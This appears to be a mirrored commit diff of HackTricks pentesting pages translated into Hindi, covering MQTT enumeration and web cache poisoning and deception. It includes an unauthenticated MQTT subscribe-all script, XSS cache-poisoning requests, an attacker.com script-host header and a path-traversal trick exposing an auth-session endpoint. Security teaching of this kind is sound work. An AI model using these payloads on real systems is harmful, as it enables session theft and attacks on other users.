mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
Translator
parent
f7e9ec4a38
commit
1d7e18bef4
@ -15,7 +15,7 @@ PORT STATE SERVICE REASON
|
||||
|
||||
जब एक **CONNECT** पैकेट MQTT ब्रोकर द्वारा प्राप्त होता है, तो एक **CONNACK** पैकेट वापस भेजा जाता है। इस पैकेट में एक रिटर्न कोड होता है जो कनेक्शन स्थिति को समझने के लिए महत्वपूर्ण है। **0x00** का रिटर्न कोड यह दर्शाता है कि क्रेडेंशियल्स को स्वीकार कर लिया गया है, जो सफल कनेक्शन का संकेत है। दूसरी ओर, **0x05** का रिटर्न कोड यह संकेत करता है कि क्रेडेंशियल्स अमान्य हैं, जिससे कनेक्शन को रोक दिया जाता है।
|
||||
|
||||
उदाहरण के लिए, यदि ब्रोकर अमान्य क्रेडेंशियल्स के कारण कनेक्शन को अस्वीकार करता है, तो स्थिति कुछ इस तरह दिखेगी:
|
||||
उदाहरण के लिए, यदि ब्रोकर अमान्य क्रेडेंशियल्स के कारण कनेक्शन को अस्वीकार करता है, तो स्थिति कुछ इस प्रकार होगी:
|
||||
```
|
||||
{
|
||||
"returnCode": "0x05",
|
||||
@ -42,7 +42,7 @@ apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
|
||||
```
|
||||
या आप **इस कोड को चला सकते हैं ताकि बिना प्रमाणीकरण के MQTT सेवा से कनेक्ट करने, हर विषय की सदस्यता लेने और उन्हें सुनने की कोशिश कर सकें**:
|
||||
या आप **यह कोड चला सकते हैं ताकि बिना प्रमाणीकरण के MQTT सेवा से कनेक्ट करने, हर विषय की सदस्यता लेने और उन्हें सुनने की कोशिश कर सकें**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
@ -71,44 +71,40 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## अधिक जानकारी
|
||||
### The Publish/Subscribe Pattern <a href="#b667" id="b667"></a>
|
||||
|
||||
यहां से: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
पब्लिश/सब्सक्राइब मॉडल में शामिल हैं:
|
||||
|
||||
### प्रकाशित/सदस्यता पैटर्न <a href="#b667" id="b667"></a>
|
||||
- **Publisher**: ब्रोकर में एक (या कई) टॉपिक(s) पर एक संदेश प्रकाशित करता है।
|
||||
- **Subscriber**: ब्रोकर में एक (या कई) टॉपिक(s) के लिए सब्सक्राइब करता है और पब्लिशर से भेजे गए सभी संदेश प्राप्त करता है।
|
||||
- **Broker**: सभी संदेशों को पब्लिशर्स से सब्सक्राइबर्स तक रूट करता है।
|
||||
- **Topic**: एक या अधिक स्तरों से बना होता है जो एक फॉरवर्ड स्लैश द्वारा अलग होते हैं (जैसे, /smartshouse/livingroom/temperature)।
|
||||
|
||||
प्रकाशित/सदस्यता मॉडल में शामिल हैं:
|
||||
### Packet Format <a href="#f15a" id="f15a"></a>
|
||||
|
||||
- **प्रकाशक**: ब्रोकर में एक (या कई) विषयों पर एक संदेश प्रकाशित करता है।
|
||||
- **सदस्य**: ब्रोकर में एक (या कई) विषयों की सदस्यता लेता है और प्रकाशक से भेजे गए सभी संदेश प्राप्त करता है।
|
||||
- **ब्रोकर**: सभी संदेशों को प्रकाशकों से सदस्यों तक रूट करता है।
|
||||
- **विषय**: एक या अधिक स्तरों से बना होता है जो एक फॉरवर्ड स्लैश द्वारा अलग होते हैं (जैसे, /smartshouse/livingroom/temperature)।
|
||||
|
||||
### पैकेट प्रारूप <a href="#f15a" id="f15a"></a>
|
||||
|
||||
प्रत्येक MQTT पैकेट में एक निश्चित हेडर होता है (चित्र 02)। चित्र 02: निश्चित हेडर
|
||||
हर MQTT पैकेट में एक निश्चित हेडर होता है (चित्र 02)।चित्र 02: निश्चित हेडर
|
||||
|
||||
|
||||
|
||||
### पैकेट प्रकार
|
||||
### Packet Types
|
||||
|
||||
- CONNECT (1): सर्वर से कनेक्शन का अनुरोध करने के लिए क्लाइंट द्वारा आरंभ किया गया।
|
||||
- CONNECT (1): क्लाइंट द्वारा सर्वर से कनेक्शन का अनुरोध करने के लिए प्रारंभ किया गया।
|
||||
- CONNACK (2): सफल कनेक्शन की सर्वर की स्वीकृति।
|
||||
- PUBLISH (3): क्लाइंट से सर्वर या इसके विपरीत संदेश भेजने के लिए उपयोग किया जाता है।
|
||||
- PUBACK (4): PUBLISH पैकेट की स्वीकृति।
|
||||
- PUBREC (5): संदेश वितरण प्रोटोकॉल का एक भाग जो सुनिश्चित करता है कि संदेश प्राप्त हुआ है।
|
||||
- PUBREL (6): संदेश वितरण में आगे की सुनिश्चितता, एक संदेश रिलीज का संकेत।
|
||||
- PUBCOMP (7): संदेश वितरण प्रोटोकॉल का अंतिम भाग, पूर्णता का संकेत।
|
||||
- SUBSCRIBE (8): एक क्लाइंट का संदेशों के लिए एक विषय को सुनने का अनुरोध।
|
||||
- PUBREC (5): एक संदेश वितरण प्रोटोकॉल का हिस्सा जो सुनिश्चित करता है कि संदेश प्राप्त हुआ है।
|
||||
- PUBREL (6): संदेश वितरण में आगे की सुनिश्चितता, एक संदेश रिलीज का संकेत देता है।
|
||||
- PUBCOMP (7): संदेश वितरण प्रोटोकॉल का अंतिम भाग, पूर्णता का संकेत देता है।
|
||||
- SUBSCRIBE (8): एक क्लाइंट का अनुरोध जो एक टॉपिक से संदेश सुनने के लिए है।
|
||||
- SUBACK (9): SUBSCRIBE अनुरोध की सर्वर की स्वीकृति।
|
||||
- UNSUBSCRIBE (10): एक क्लाइंट का एक विषय से संदेश प्राप्त करना बंद करने का अनुरोध।
|
||||
- UNSUBSCRIBE (10): एक क्लाइंट का अनुरोध जो एक टॉपिक से संदेश प्राप्त करना बंद करने के लिए है।
|
||||
- UNSUBACK (11): UNSUBSCRIBE अनुरोध का सर्वर का उत्तर।
|
||||
- PINGREQ (12): क्लाइंट द्वारा भेजा गया एक हार्टबीट संदेश।
|
||||
- PINGRESP (13): हार्टबीट संदेश का सर्वर का उत्तर।
|
||||
- DISCONNECT (14): कनेक्शन समाप्त करने के लिए क्लाइंट द्वारा आरंभ किया गया।
|
||||
- DISCONNECT (14): कनेक्शन समाप्त करने के लिए क्लाइंट द्वारा प्रारंभ किया गया।
|
||||
- दो मान, 0 और 15, आरक्षित के रूप में चिह्नित हैं और उनका उपयोग निषिद्ध है।
|
||||
|
||||
## शोडन
|
||||
## Shodan
|
||||
|
||||
- `port:1883 MQTT`
|
||||
|
||||
|
||||
@ -1,31 +1,31 @@
|
||||
# कैश पॉइज़निंग और कैश धोखाधड़ी
|
||||
# Cache Poisoning and Cache Deception
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## अंतर
|
||||
## The difference
|
||||
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?**
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?**
|
||||
>
|
||||
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से प्रदान की जाती है।
|
||||
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री कैश से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
|
||||
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
|
||||
## कैश पॉइज़निंग
|
||||
## Cache Poisoning
|
||||
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को प्रदान की जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हो जाएं। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को परोसी जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं।
|
||||
|
||||
कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है:
|
||||
|
||||
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं, जो कैश में अनुरोध के लिए आवश्यक नहीं होते, लेकिन सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषण के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
|
||||
### खोज: HTTP हेडर की जांच करें
|
||||
### Discovery: Check HTTP headers
|
||||
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP कैश हेडर**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)।
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर ऐसा संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडर पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### खोज: कैशिंग त्रुटि कोड
|
||||
### Discovery: Caching error codes
|
||||
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप एक DoS भी कर सकते हैं)।
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
|
||||
आप अधिक विकल्प पा सकते हैं:
|
||||
|
||||
@ -35,34 +35,34 @@ cache-poisoning-to-dos.md
|
||||
|
||||
हालांकि, ध्यान दें कि **कभी-कभी इस प्रकार के स्थिति कोड कैश नहीं होते** इसलिए यह परीक्षण विश्वसनीय नहीं हो सकता।
|
||||
|
||||
### खोज: अनकीड इनपुट की पहचान और मूल्यांकन करें
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग कर सकते हैं **पैरामीटर और हेडर को ब्रूट-फोर्स करने** के लिए जो **पृष्ठ की प्रतिक्रिया को बदल सकते हैं**। उदाहरण के लिए, एक पृष्ठ `X-Forwarded-For` हेडर का उपयोग कर सकता है यह संकेत देने के लिए कि क्लाइंट को वहां से स्क्रिप्ट लोड करना है:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करना
|
||||
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या आपके द्वारा नियंत्रित JS कोड लोड करें? एक DoS प्रदर्शन करें?...)
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या अपने द्वारा नियंत्रित JS कोड लोड करें? एक DoS प्रदर्शन करें?...)
|
||||
|
||||
### प्रतिक्रिया को कैश करें
|
||||
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करना पड़ सकता है।
|
||||
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\
|
||||
हेडर **`Cache-Control`** यह जानने के लिए भी दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब इसे कैश किया गया है।\
|
||||
हेडर **`Cache-Control`** भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** के भाग के रूप में माना जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** के **भाग** के रूप में माना जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
|
||||
कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है।
|
||||
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में उपयोग किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कीड** के रूप में उपयोग किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
|
||||
## शोषण के उदाहरण
|
||||
|
||||
### सबसे आसान उदाहरण
|
||||
|
||||
एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\
|
||||
एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप से प्रतिबिंबित किया जा रहा है।\
|
||||
आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
@ -77,9 +77,17 @@ _ध्यान दें कि यह `/en?region=uk` के लिए एक
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### कुकी-हैंडलिंग कमजोरियों का लाभ उठाने के लिए वेब कैश विषाक्तता का उपयोग करना
|
||||
### CDNs के माध्यम से कैश विषाक्तता
|
||||
|
||||
कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का लाभ उठाने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
**[इस लेख](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य समझाया गया है:
|
||||
|
||||
- CDN `/share/` के तहत किसी भी चीज़ को कैश करेगा
|
||||
- CDN `%2F..%2F` को डिकोड या सामान्यीकृत नहीं करेगा, इसलिए, इसका उपयोग **अन्य संवेदनशील स्थानों तक पहुँचने के लिए पथ यात्रा के रूप में किया जा सकता है जो कैश किए जाएंगे** जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- वेब सर्वर `%2F..%2F` को डिकोड और सामान्यीकृत करेगा, और `/api/auth/session` के साथ प्रतिक्रिया देगा, जिसमें **प्रमाणन टोकन** शामिल है।
|
||||
|
||||
### कुकी-हैंडलिंग कमजोरियों का शोषण करने के लिए वेब कैश विषाक्तता का उपयोग करना
|
||||
|
||||
कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का शोषण करने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं।
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -87,7 +95,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
ध्यान दें कि यदि कमजोर कुकी का उपयोग उपयोगकर्ताओं द्वारा बहुत अधिक किया जाता है, तो नियमित अनुरोध कैश को साफ कर देंगे।
|
||||
|
||||
### डेलिमिटर्स, सामान्यीकरण और डॉट्स के साथ विसंगतियों का निर्माण <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### सीमाओं, सामान्यीकरण और बिंदुओं के साथ विसंगतियों का निर्माण <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
जांचें:
|
||||
|
||||
@ -105,9 +113,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### वेब कैश विषाक्तता कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### वेब कैश विषाक्तता कमजोरियों का लाभ उठाने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने** के लिए **कई अनकुंजीकृत इनपुट** का **शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **Open redirect** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीद इनपुट्स का लाभ उठाने की आवश्यकता होगी**। उदाहरण के लिए, आप एक **Open redirect** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और `X-Forwarded-Scheme` हेडर का उपयोग रीडायरेक्ट के लिए डोमेन नाम के रूप में कर रहा है। आप नियंत्रित कर सकते हैं कि रीडायरेक्ट द्वारा पृष्ठ कहाँ इंगित किया गया है।
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -116,7 +124,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### सीमित `Vary` हेडर के साथ शोषण
|
||||
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम** के रूप में उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को बाहर निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को ज़हर देने का एक तरीका खोजना होगा:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -125,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL तक पहुँचने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि कमजोरियों को जेम्स केटल ने Github वेबसाइट पर पाया:
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln James Kettle ने Github वेबसाइट पर पाया:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -144,7 +152,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
यहां जानें कि कैसे [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके किया जाता है](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
@ -156,7 +164,7 @@ Example usage: `wcvs -u example.com`
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ने URL के अंदर के अंश को बिना हटाए अग्रेषित किया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में इसका पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी।
|
||||
ATS ने URL के अंदर के अंश को बिना हटाए आगे बढ़ाया और केवल होस्ट, पथ और क्वेरी का उपयोग करके कैश कुंजी उत्पन्न की (अंश की अनदेखी करते हुए)। इसलिए अनुरोध `/#/../?r=javascript:alert(1)` को बैकएंड पर `/#/../?r=javascript:alert(1)` के रूप में भेजा गया और कैश कुंजी में इसका पेलोड नहीं था, केवल होस्ट, पथ और क्वेरी।
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
@ -164,7 +172,7 @@ ATS ने URL के अंदर के अंश को बिना हट
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना संभव था और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
